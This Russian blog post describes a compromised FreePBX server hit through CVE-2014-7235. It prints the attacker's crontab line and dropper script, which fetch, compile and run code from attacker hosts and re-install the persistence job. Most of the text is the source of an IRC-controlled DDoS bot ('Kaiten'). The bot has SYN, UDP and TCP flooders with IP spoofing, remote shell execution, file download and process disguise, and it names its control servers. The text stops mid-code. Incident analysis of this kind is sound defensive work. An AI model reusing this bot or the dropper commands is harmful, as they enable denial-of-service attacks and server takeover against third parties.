Критическая уязвимость FreePBX (все версии)

в 18:22, , рубрики: Песочница, метки: , ,

В самом конце сентября был создан ticket, а позже присвоен CVE: 2014-7235. Суть, в том, что злоумышленниками был найден способ через web-интерфейс загружать и выполнять shell-скрипты на сервере IP-телефонии, авторизация не спасает. В основном используется для генерации call-файлов, но не только…

Эта история о том, как наша команда столкнулась с эксплуатацией этой уязвимости на забытом сервере, где был выключен iptables.

Для начала отмечу, что данная «новость» появилась на всех страницах форума FreePBX в виде баннера:
Итак, После прочтения новости наша команда приступила к немедленному обновлению и проверке всех подконтрольных серверов, несмотря на закрытый доступ в iptables «для мира». Обновление заняло почти два рабочих дня. Дело сделано, проблема забыта, но не тут-то было. Спустя неделю случайно заметили, что на тестовом сервере для разработчиков в детализации вызовов появились несанкционированные вызовы на иностранные направления — про этот сервер во время штурма благополучно все забыли.

Итог: в планировщике cron пользователя root строка:

@daily wget @daily wget http://xfsdfadsdgfs.tba.pw/update -O /tmp/update;sh /tmp/update;rm -rf /tmp/update

Нужно заметить, что web-сервер и сам Asterisk запущены с непривилегированными правами.

Проводим анализ и скачиваем файл для изучения:

#!/bin/sh
starts=`pwd`
wget 82.165.131.9/b.c -O /tmp/b.c;gcc /tmp/b.c -o /tmp/longone;chmod +x /tmp/longone;/tmp/longone;rm -rf /tmp/b.c
echo "@daily wget http://xfsdfadsdgfs.tba.pw/update -O /tmp/update;sh /tmp/update;rm -rf /tmp/update">/tmp/cc
crontab /tmp/cc
rm -rf /tmp/cc
rm -rf $starts/$0

Квест заканчивается исходным кодом клиента IRC-ботнета:

Большой файл для программистов

/*******************************************************************************
 *   This is a IRC based distributed denial of service client.  It connects to *
 * the server specified below and accepts commands via the channel specified.  *
 * The syntax is:                                                              *
 *       !<nick> <command>                                                     *
 * You send this message to the channel that is defined later in this code.    *
 * Where <nick> is the nickname of the client (which can include wildcards)    *
 * and the command is the command that should be sent.  For example, if you    *
 * want to tell all the clients with the nickname starting with N, to send you *
 * the help message, you type in the channel:                                  *
 *       !N* HELP                                                              *
 * That will send you a list of all the commands.  You can also specify an     *
 * astrick alone to make all client do a specific command:                     *
 *       !* SH uname -a                                                        *
 * There are a number of commands that can be sent to the client:              *
 *       TSUNAMI <target> <secs>       = A PUSH+ACK flooder                    *
 *       PAN <target> <port> <secs>    = A SYN flooder                         *
 *       UDP <target> <port> <secs>    = An UDP flooder                        *
 *       UNKNOWN <target> <secs>       = Another non-spoof udp flooder         *
 *       NICK <nick>                   = Changes the nick of the client        *
 *       SERVER <server>               = Changes servers                       *
 *       GETSPOOFS                     = Gets the current spoofing             *
 *       SPOOFS <subnet>               = Changes spoofing to a subnet          *
 *       DISABLE                       = Disables all packeting from this bot  *
 *       ENABLE                        = Enables all packeting from this bot   *
 *       KILL                          = Kills the knight                      *
 *       GET <http address> <save as>  = Downloads a file off the web          *
 *       VERSION                       = Requests version of knight            *
 *       KILLALL                       = Kills all current packeting           *
 *       HELP                          = Displays this                         *
 *       IRC <command>                 = Sends this command to the server      *
 *       SH <command>                  = Executes a command                    *
 * Remember, all these commands must be prefixed by a ! and the nickname that  *
 * you want the command to be sent to (can include wildcards). There are no    *
 * spaces in between the ! and the nickname, and there are no spaces before    *
 * the !                                                                       *
 *                                                                             *
 *                               - contem on efnet                             *
 *******************************************************************************/
////////////////////////////////////////////////////////////////////////////////
//                                EDIT THESE                                  //
////////////////////////////////////////////////////////////////////////////////
//#undef STARTUP                        // Start on startup?
#undef IDENT                    // Only enable this if you absolutely have to
#define FAKENAME "[kjournald]"  // What you want this to hide as
#define CHAN "#ABC"        // Channel to join
#define KEY "bleh"              // The key of the channel
int numservers=2;               // Must change this to equal number of
//servers down there
char *servers[] = {             // List the servers in that format, always end in (void*)0
        "n.lul.pw",
"n.tba.pw",
        (void*)0
};
////////////////////////////////////////////////////////////////////////////////
//                               STOP HERE!                                   //
////////////////////////////////////////////////////////////////////////////////
#include <stdarg.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <strings.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <signal.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <time.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
int sock,changeservers=0;
char *server, *nick2, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
unsigned int *pids;
unsigned long spoofs=0, spoofsm=0, numpids=0;
int strwildmatch(const char* pattern, const char* string) {
        switch(*pattern) {
                case '': return *string;
                case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
                case '?': return !(*string && !strwildmatch(pattern+1, string+1));
                default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
        }
}
int Send(int sock, char *words, ...) {
        static char textBuffer[1024];
        va_list args;
        va_start(args, words);
        vsprintf(textBuffer, words, args);
        va_end(args);
        return write(sock,textBuffer,strlen(textBuffer));
}
int mfork(char *sender) {
        unsigned int parent, *newpids, i;
        if (disabled == 1) {
                Send(sock,"NOTICE %s :Unable to comply.n",sender);
                return 1;
        }
        parent=fork();
        if (parent <= 0) return parent;
        numpids++;
        newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
        for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
        newpids[numpids-1]=parent;
        free(pids);
        pids=newpids;
        return parent;
}
unsigned long getspoof() {
        if (!spoofs) return rand();
        if (spoofsm == 1) return ntohl(spoofs);
        return ntohl(spoofs+(rand() % spoofsm)+1);
}
void filter(char *a) { while(a[strlen(a)-1] == 'r' || a[strlen(a)-1] == 'n') a[strlen(a)-1]=0; }
char *makestring() {
        char *tmp;
        int len=(rand()%5)+4,i;
        FILE *file;
        tmp=(char*)malloc(len+1);
        memset(tmp,0,len+1);
        if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
        else {
                int a=((rand()*rand())%45402)+1;
                char buf[1024];
                for (i=0;i<a;i++) fgets(buf,1024,file);
                memset(buf,0,1024);
                fgets(buf,1024,file);
                filter(buf);
                memcpy(tmp,buf,len);
                fclose(file);
        }
        return tmp;
}
void identd() {
        int sockname,sockfd,sin_size,tmpsock,i;
        struct sockaddr_in my_addr,their_addr;
        char szBuffer[1024];
        if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
        my_addr.sin_family = AF_INET;
        my_addr.sin_port = htons(113);
        my_addr.sin_addr.s_addr = INADDR_ANY;
        memset(&(my_addr.sin_zero), 0, 8);
        if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
        if (listen(sockfd, 1) == -1) return;
        if (fork() == 0) return;
        sin_size = sizeof(struct sockaddr_in);
        if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
        for(;;) {
                fd_set bla;
                struct timeval timee;
                FD_ZERO(&bla);
                FD_SET(tmpsock,&bla);
                timee.tv_sec=timee.tv_usec=60;
                if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
                if (FD_ISSET(tmpsock,&bla)) break;
        }
        i = recv(tmpsock,szBuffer,1024,0);
        if (i <= 0 || i >= 20) exit(0);
        szBuffer[i]=0;
        if (szBuffer[i-1] == 'n' || szBuffer[i-1] == 'r') szBuffer[i-1]=0;
        if (szBuffer[i-2] == 'n' || szBuffer[i-2] == 'r') szBuffer[i-2]=0;
        Send(tmpsock,"%s : USERID : UNIX : %sn",szBuffer,ident);
        close(tmpsock);
        close(sockfd);
        exit(0);
}
long pow(long a, long b) {
        if (b == 0) return 1;
        if (b == 1) return a;
        return a*pow(a,b-1);
}
u_short in_cksum(u_short *addr, int len) {
        register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer =0;
        while (nleft > 1) {
                sum += *w++;
                nleft -= 2;
        }
        if (nleft == 1) {
                *(u_char *)(&answer) = *(u_char *)w;
                sum += answer;
        }
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return(answer);
}
void get(int sock, char *sender, int argc, char **argv) {
        int sock2,i,d;
        struct sockaddr_in server;
        unsigned long ipaddr;
        char buf[1024];
        FILE *file;
        unsigned char bufm[4096];
        if (mfork(sender) != 0) return;
        if (argc < 2) {
                Send(sock,"NOTICE %s :GET <host> <save as>n",sender);
                exit(0);
        }
        if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
                Send(sock,"NOTICE %s :Unable to create socket.n",sender);
                exit(0);
        }
        if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
        else strcpy(buf,argv[1]);
        for (i=0;i<strlen(buf) && buf[i] != '/';i++);
        buf[i]=0;
        server.sin_family = AF_INET;
        server.sin_port = htons(80);
        if ((ipaddr = inet_addr(buf)) == -1) {
                struct hostent *hostm;
                if ((hostm=gethostbyname(buf)) == NULL) {
                        Send(sock,"NOTICE %s :Unable to resolve address.n",sender);
                        exit(0);
                }
                memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
        }
        else server.sin_addr.s_addr = ipaddr;
        memset(&(server.sin_zero), 0, 8);
        if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
                Send(sock,"NOTICE %s :Unable to connect to http.n",sender);
                exit(0);
        }

        Send(sock2,"GET /%s HTTP/1.0rnConnection: Keep-AlivernUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)rnHost: %s:80rnAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*rnAccept-Encoding: gziprnAccept-Language: enrnAccept-Charset: iso-8859-1,*,utf-8rnrn",buf+i+1,buf);
        Send(sock,"NOTICE %s :Receiving file.n",sender);
        file=fopen(argv[2],"wb");
        while(1) {
                int i;
                if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
                if (i < 4096) bufm[i]=0;
                for (d=0;d<i;d++) if (!strncmp(bufm+d,"rnrn",4)) {
                        for (d+=4;d<i;d++) fputc(bufm[d],file);
                        goto done;
                }
        }
        done:
        Send(sock,"NOTICE %s :Saved as %sn",sender,argv[2]);
        while(1) {
                int i,d;
                if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
                if (i < 4096) bufm[i]=0;
                for (d=0;d<i;d++) fputc(bufm[d],file);
        }
        fclose(file);
        close(sock2);
        exit(0);
}
void getspoofs(int sock, char *sender, int argc, char **argv) {
        unsigned long a=spoofs,b=spoofs+(spoofsm-1);
        if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%dn",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
        else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%dn",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
}
void version(int sock, char *sender, int argc, char **argv) {
        Send(sock,"NOTICE %s :Kaiten wa gorakun",sender);
}
void nickc(int sock, char *sender, int argc, char **argv) {
        if (argc != 1) {
                Send(sock,"NOTICE %s :NICK <nick>n",sender);
                return;
        }
        if (strlen(argv[1]) >= 10) {
                Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.n",sender);
                return;
        }
        Send(sock,"NICK %sn",argv[1]);
}
void disable(int sock, char *sender, int argc, char **argv) {
        if (argc != 1) {
                Send(sock,"NOTICE %s :DISABLE <pass>n",sender);
                Send(sock,"NOTICE %s :Current status is: %s.n",sender,disabled?"Disabled":"Enabled and awaiting orders");
                return;
        }
        if (disabled) {
                Send(sock,"NOTICE %s :Already disabled.n",sender);
                return;
        }
        if (strlen(argv[1]) > 254) {
                Send(sock,"NOTICE %s :Password too long! > 254n",sender);
                return;
        }
        disabled=1;
        memset(dispass,0,256);
        strcpy(dispass,argv[1]);
        Send(sock,"NOTICE %s :Disable sucessful.n");
}
void enable(int sock, char *sender, int argc, char **argv) {
        if (argc != 1) {
                Send(sock,"NOTICE %s :ENABLE <pass>n",sender);
                Send(sock,"NOTICE %s :Current status is: %s.n",sender,disabled?"Disabled":"Enabled and awaiting orders");
                return;
        }
        if (!disabled) {
                Send(sock,"NOTICE %s :Already enabled.n",sender);
                return;
        }
        if (strcasecmp(dispass,argv[1])) {
                Send(sock,"NOTICE %s :Wrong passwordn",sender);
                return;
        }
        disabled=0;
        Send(sock,"NOTICE %s :Password correct.n",sender);
}
void spoof(int sock, char *sender, int argc, char **argv) {
        char ip[256];
        int i, num;
        unsigned long uip;
        if (argc != 1) {
                Send(sock,"NOTICE %s :Removed all spoofsn",sender);
                spoofs=0;
                spoofsm=0;
                return;
        }
        if (strlen(argv[1]) > 16) {
                Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40n",sender);
                return;
        }
        strcpy(ip,argv[1]);
        if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
        for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
        num=-(num-4);
        for (i=0;i<num;i++) strcat(ip,".0");
        uip=inet_network(ip);
        if (num == 0) spoofsm=1;
        else spoofsm=pow(256,num);
        spoofs=uip;
}
struct iphdr {
        unsigned int ihl:4, version:4;
        unsigned char tos;
        unsigned short tot_len;
        unsigned short id;
        unsigned short frag_off;
        unsigned char ttl;
        unsigned char protocol;
        unsigned short check;
        unsigned long saddr;
        unsigned long daddr;
};
struct udphdr {
        unsigned short source;
        unsigned short dest;
        unsigned short len;
        unsigned short check;
};
struct tcphdr {
        unsigned short source;
        unsigned short dest;
        unsigned long seq;
        unsigned long ack_seq;
        unsigned short res1:4, doff:4;
        unsigned char fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1;
        unsigned short window;
        unsigned short check;
        unsigned short urg_ptr;
};
struct send_tcp {
        struct iphdr ip;
        struct tcphdr tcp;
        char buf[20];
};
struct pseudo_header {
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
        struct tcphdr tcp;
        char buf[20];
};
unsigned int host2ip(char *sender,char *hostname) {
        static struct in_addr i;
        struct hostent *h;
        if((i.s_addr = inet_addr(hostname)) == -1) {
                if((h = gethostbyname(hostname)) == NULL) {
                        Send(sock, "NOTICE %s :Unable to resolve %sn", sender,hostname);
                        exit(0);
                }
                bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
        }
        return i.s_addr;
}
void udp(int sock, char *sender, int argc, char **argv) {
        unsigned int port,i=0;
        unsigned long psize,target,secs;
        struct sockaddr_in s_in;
        struct iphdr *ip;
        struct udphdr *udp;
        char buf[1500],*str;
        int get;
        time_t start=time(NULL);
        if (mfork(sender) != 0) return;
        if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
        if (argc < 3) {
                Send(sock,"NOTICE %s :UDP <target> <port> <secs>n",sender);
                exit(1);
        }
        target = host2ip(sender,argv[1]);
        port = atoi(argv[2]);
        secs = atol(argv[3]);
        ip=(void*)buf;
        udp=(void*)(buf+sizeof(struct iphdr));
        str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr));
        memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr)));
        Send(sock,"NOTICE %s :Packeting %s.n",sender,argv[1]);
        ip->ihl = 5;
        ip->version = 4;
        ip->tos = 0;
        ip->tot_len = 1500;
        ip->frag_off = 0;
        ip->protocol = 17;
        ip->ttl = 64;
        ip->daddr = target;
        udp->len = htons(psize);
        s_in.sin_family  = AF_INET;
        s_in.sin_addr.s_addr = target;
        for (;;) {
                udp->source = rand();
                if (port) udp->dest = htons(port);
                else udp->dest = rand();
                udp->check = in_cksum((u_short *)buf,1500);
                ip->saddr = getspoof();
                ip->id = rand();
                ip->check = in_cksum((u_short *)buf,1500);
                s_in.sin_port = udp->dest;
                sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in));
                if (i >= 50) {
                        if (time(NULL) >= start+secs) exit(0);
                        i=0;
                }
                i++;
        }
}
void pan(int sock, char *sender, int argc, char **argv) {
        struct send_tcp send_tcp;
        struct pseudo_header pseudo_header;
        struct sockaddr_in sin;
        unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
        unsigned int psize=20, source, dest, check;
        unsigned long saddr, daddr,secs;
        int get;
        time_t start=time(NULL);
        if (mfork(sender) != 0) return;
        if (argc < 3) {
                Send(sock,"NOTICE %s :PAN <target> <port> <secs>n",sender);
                exit(1);
        }
        if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
        {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
        daddr=host2ip(sender,argv[1]);
        secs=atol(argv[3]);
        Send(sock,"NOTICE %s :Panning %s.n",sender,argv[1]);
        send_tcp.ip.ihl = 5;
        send_tcp.ip.version = 4;
        send_tcp.ip.tos = 16;
        send_tcp.ip.frag_off = 64;
        send_tcp.ip.ttl = 64;
        send_tcp.ip.protocol = 6;
        send_tcp.tcp.ack_seq = 0;
        send_tcp.tcp.doff = 10;
        send_tcp.tcp.res1 = 0;
        send_tcp.tcp.cwr = 0;
        send_tcp.tcp.ece = 0;
        send_tcp.tcp.urg = 0;
        send_tcp.tcp.ack = 0;
        send_tcp.tcp.psh = 0;
        send_tcp.tcp.rst = 0;
        send_tcp.tcp.fin = 0;
        send_tcp.tcp.syn = 1;
        send_tcp.tcp.window = 30845;
        send_tcp.tcp.urg_ptr = 0;
        dest=htons(atoi(argv[2]));
        while(1) {
                source=rand();
                if (atoi(argv[2]) == 0) dest=rand();
                saddr=getspoof();
                send_tcp.ip.tot_len = htons(40+psize);
                send_tcp.ip.id = rand();
                send_tcp.ip.saddr = saddr;
                send_tcp.ip.daddr = daddr;
                send_tcp.ip.check = 0;
                send_tcp.tcp.source = source;
                send_tcp.tcp.dest = dest;
                send_tcp.tcp.seq = rand();
                send_tcp.tcp.check = 0;
                sin.sin_family = AF_INET;
                sin.sin_port = dest;
                sin.sin_addr.s_addr = send_tcp.ip.daddr;
                send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
                check = rand();
                send_tcp.buf[9]=((char*)&check)[0];
                send_tcp.buf[10]=((char*)&check)[1];
                send_tcp.buf[11]=((char*)&check)[2];
                send_tcp.buf[12]=((char*)&check)[3];
                pseudo_header.source_address = send_tcp.ip.saddr;
                pseudo_header.dest_address = send_tcp.ip.daddr;
                pseudo_header.placeholder = 0;
                pseudo_header.protocol = IPPROTO_TCP;
                pseudo_header.tcp_length = htons(20+psize);
                bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
                bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
                send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
                sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
                if (a >= 50) {
                        if (time(NULL) >= start+secs) exit(0);
                        a=0;
                }
                a++;
        }
        close(get);
        exit(0);
}
void tsunami(int sock, char *sender, int argc, char **argv) {
        struct send_tcp send_tcp;
        struct pseudo_header pseudo_header;
        struct sockaddr_in sin;
        unsigned int psize=1400, check,i;
        unsigned long saddr, daddr,secs;
        int get;
        time_t start=time(NULL);
        if (mfork(sender) != 0) return;
        if (argc < 2) {
                Send(sock,"NOTICE %s :TSUNAMI <target> <secs>n",sender);
                exit(1);
        }
        secs=atol(argv[2]);
        if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
        srand(time(NULL) ^ getpid());
        memset(send_tcp.buf,rand(),psize);
        daddr=host2ip(sender,argv[1]);
        Send(sock,"NOTICE %s :Tsunami heading for %s.n",sender,argv[1]);
        while(1) {
                saddr=getspoof();
                send_tcp.ip.ihl = 5;
                send_tcp.ip.version = 4;
                send_tcp.ip.tos = 16;
                send_tcp.ip.tot_len = htons(40+psize);
                send_tcp.ip.id = rand();
                send_tcp.ip.frag_off = 64;
                send_tcp.ip.ttl = 64;
                send_tcp.ip.protocol = 6;
                send_tcp.ip.check = 0;
                send_tcp.ip.saddr = saddr;
                send_tcp.ip.daddr = daddr;
                send_tcp.tcp.source = rand();
                send_tcp.tcp.dest = rand();
                send_tcp.tcp.seq = rand();
                send_tcp.tcp.ack_seq = rand();
                send_tcp.tcp.doff = 5;
                send_tcp.tcp.res1 = 0;
                send_tcp.tcp.cwr = 0;
                send_tcp.tcp.ece = 0;
                send_tcp.tcp.urg = 0;
                send_tcp.tcp.ack = 1;
                send_tcp.tcp.psh = 1;
                send_tcp.tcp.rst = 0;
                send_tcp.tcp.fin = 0;
                send_tcp.tcp.syn = 0;
                send_tcp.tcp.window = 30845;
                send_tcp.tcp.check = 0;
                send_tcp.tcp.urg_ptr = 0;
                sin.sin_family = AF_INET;
                sin.sin_port = send_tcp.tcp.dest;
                sin.sin_addr.s_addr = send_tcp.ip.daddr;
                send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
                check = in_cksum((unsigned short *)&send_tcp, 40);
                pseudo_header.source_address = send_tcp.ip.saddr;
                pseudo_header.dest_address = send_tcp.ip.daddr;
                pseudo_header.placeholder = 0;
                pseudo_header.protocol = IPPROTO_TCP;
                pseudo_header.tcp_length = htons(20+psize);
                bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
                bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
                send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
                sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
                if (i >= 50) {
                        if (time(NULL) >= start+secs) break;
                        i=0;
                }
                i++;
        }
        close(get);
        exit(0);
}
void unknown(int sock, char *sender, int argc, char **argv) {
        int flag=1,fd,i;
        unsigned long secs;
        char *buf=(char*)malloc(9216);
        struct hostent *hp;
        struct sockaddr_in in;
        time_t start=time(NULL);
        if (mfork(sender) != 0) return;
        if (argc < 2) {
                Send(sock,"NOTICE %s :UNKNOWN <target> <secs>n",sender);
                exit(1);
        }
        secs=atol(argv[2]);
        memset((void*)&in,0,sizeof(struct sockaddr_in));
        in.sin_addr.s_addr=host2ip(sender,argv[1]);
        in.sin_family = AF_INET;
        Send(sock,"NOTICE %s :Unknowning %s.n",sender,argv[1]);
        while(1) {
                in.sin_port = rand();
                if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
                else {
                        flag=1;
                        ioctl(fd,FIONBIO,&flag);
                        sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
                        close(fd);
                }
                if (i >= 50) {
                        if (time(NULL) >= start+secs) break;
                        i=0;
                }
                i++;
        }
        close(fd);
        exit(0);
}
void move(int sock, char *sender, int argc, char **argv) {
        if (argc < 1) {
                Send(sock,"NOTICE %s :MOVE <server>n",sender);
                exit(1);
        }
        server=strdup(argv[1]);
        changeservers=1;
        close(sock);
}
void help(int sock, char *sender, int argc, char **argv) {
        if (mfork(sender) != 0) return;
        Send(sock,"NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont be blocked by most firewallsn",sender); sleep(2);
        Send(sock,"NOTICE %s :PAN <target> <port> <secs>                       = An advanced syn flooder that will kill most network driversn",sender); sleep(2);
        Send(sock,"NOTICE %s :UDP <target> <port> <secs>                       = A udp floodern",sender); sleep(2);
        Send(sock,"NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp floodern",sender); sleep(2);

        Send(sock,"NOTICE %s :NICK <nick>                                      = Changes the nick of the clientn",sender); sleep(2);
        Send(sock,"NOTICE %s :SERVER <server>                                  = Changes serversn",sender); sleep(2);
        Send(sock,"NOTICE %s :GETSPOOFS                                        = Gets the current spoofingn",sender); sleep(2);
        Send(sock,"NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnetn",sender); sleep(2);

        Send(sock,"NOTICE %s :DISABLE                                          = Disables all packeting from this clientn",sender); sleep(2);
        Send(sock,"NOTICE %s :ENABLE                                           = Enables all packeting from this clientn",sender); sleep(2);

        Send(sock,"NOTICE %s :KILL                                             = Kills the clientn",sender); sleep(2);
        Send(sock,"NOTICE %s :GET <http address> <save as>                     = Downloads a file off the web and saves it onto the hdn",sender); sleep(2);
        Send(sock,"NOTICE %s :VERSION                                          = Requests version of clientn",sender); sleep(2);
        Send(sock,"NOTICE %s :KILLALL                                          = Kills all current packetingn",sender); sleep(2);
        Send(sock,"NOTICE %s :HELP                                             = Displays thisn",sender);

        Send(sock,"NOTICE %s :IRC <command>                                    = Sends this command to the servern",sender); sleep(2);
        Send(sock,"NOTICE %s :SH <command>                                     = Executes a commandn",sender); sleep(2);
        exit(0);
}
void killall(int sock, char *sender, int argc, char **argv) {
        unsigned long i;
        for (i=0;i<numpids;i++) {
                if (pids[i] != 0 && pids[i] != getpid()) {
                        if (sender) Send(sock,"NOTICE %s :Killing pid %d.n",sender,pids[i]);
                        kill(pids[i],9);
                }
        }
}
void killd(int sock, char *sender, int argc, char **argv) {
                Send(sock,"exiting!n",sender);
        exit(0);
        if (!disable) kill(0,9);
        else Send(sock,"NOTICE %s :Unable to comply.n");
}
struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
        { "TSUNAMI", tsunami },
        { "PAN", pan },
        { "UDP", udp },
        { "UNKNOWN", unknown },

        { "NICK", nickc },
        { "SERVER", move },
        { "GETSPOOFS", getspoofs },
        { "SPOOFS", spoof },

        { "DISABLE", disable },
        { "ENABLE", enable },

        { "KILL", killd },
        { "GET", get },
        { "VERSION", version },
        { "KILLALL", killall },
        { "HELP", help },
{ (char *)0, (void (*)(int,char *,int,char **))0 } };
void _PRIVMSG(int sock, char *sender, char *str) {
        int i;
        char *to, *message;
        for (i=0;i<strlen(str) && str[i] != ' ';i++);
        str[i]=0;
        to=str;
        message=str+i+2;
        for (i=0;i<strlen(sender) && sender[i] != '!';i++);
        sender[i]=0;
        if (*message == '!' && !strcasecmp(to,chan)) {
                char *params[12], name[1024]={0};
                int num_params=0, m;
                message++;
                for (i=0;i<strlen(message) && message[i] != ' ';i++);
                message[i]=0;
                if (strwildmatch(message,nick)) return;
                message+=i+1;
                if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock,"NOTICE %s :Unable to comply.n",sender); else Send(sock,"%sn",message+4);
                if (!strncmp(message,"SH ",3)) {
                        char buf[1024];
                        FILE *command;
                        if (mfork(sender) != 0) return;
                        memset(buf,0,1024);
                        sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
                        command=popen(buf,"r");
                        while(!feof(command)) {
                                memset(buf,0,1024);
                                fgets(buf,1024,command);
                                Send(sock,"NOTICE %s :%sn",sender,buf);
                                sleep(1);
                        }
                        pclose(command);
                        exit(0);
                }
                m=strlen(message);
                for (i=0;i<m;i++) {
                        if (*message == ' ' || *message == 0) break;
                        name[i]=*message;
                        message++;
                }
                for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
                num_params++;
                if (num_params > 10) num_params=10;
                params[0]=name;
                params[num_params+1]="";
                m=1;
                while (*message != 0) {
                        message++;
                        if (m >= num_params) break;
                        for (i=0;i<strlen(message) && message[i] != ' ';i++);
                        params[m]=(char*)malloc(i+1);
                        strncpy(params[m],message,i);
                        params[m][i]=0;
                        m++;
                        message+=i;
                }
                for (m=0; flooders[m].cmd != (char *)0; m++) {
                        if (!strcasecmp(flooders[m].cmd,name)) {
                                flooders[m].func(sock,sender,num_params-1,params);
                                for (i=1;i<num_params;i++) free(params[i]);
                                return;
                        }
                }
        }
}
void _376(int sock, char *sender, char *str) {
        Send(sock,"MODE %s -xin",nick);
        Send(sock,"JOIN %s :%sn",chan,key);
//        Send(sock,"WHO %sn",nick);
}
void _PING(int sock, char *sender, char *str) {
        Send(sock,"PONG %sn",str);
}
void _352(int sock, char *sender, char *str) {
        int i,d;
        char *msg=str;
        struct hostent *hostm;
        unsigned long m;
        for (i=0,d=0;d<5;d++) {
                for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
                if (i == strlen(str)) return;
        }
        for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
        msg[i]=0;
        if (!strcasecmp(msg,nick) && !spoofsm) {
                msg=str;
                for (i=0,d=0;d<3;d++) {
                        for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
                        if (i == strlen(str)) return;
                }
                for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
                msg[i]=0;
                if ((m = inet_addr(msg)) == -1) {
                        if ((hostm=gethostbyname(msg)) == NULL) {
                                Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.n",chan);
                                return;
                        }
                        memcpy((char*)&m, hostm->h_addr, hostm->h_length);
                }
                ((char*)&spoofs)[3]=((char*)&m)[0];
                ((char*)&spoofs)[2]=((char*)&m)[1];
                ((char*)&spoofs)[1]=((char*)&m)[2];
                ((char*)&spoofs)[0]=0;
                spoofsm=256;
        }
}
void _433(int sock, char *sender, char *str) {
        free(nick);
        nick=makestring();
}
void _NICK(int sock, char *sender, char *str) {
        int i;
        for (i=0;i<strlen(sender) && sender[i] != '!';i++);
        sender[i]=0;
        if (!strcasecmp(sender,nick)) {
                if (*str == ':') str++;
                if (nick) free(nick);
                nick=strdup(str);
        }
}
struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
        { "352", _352 },
        { "376", _376 },
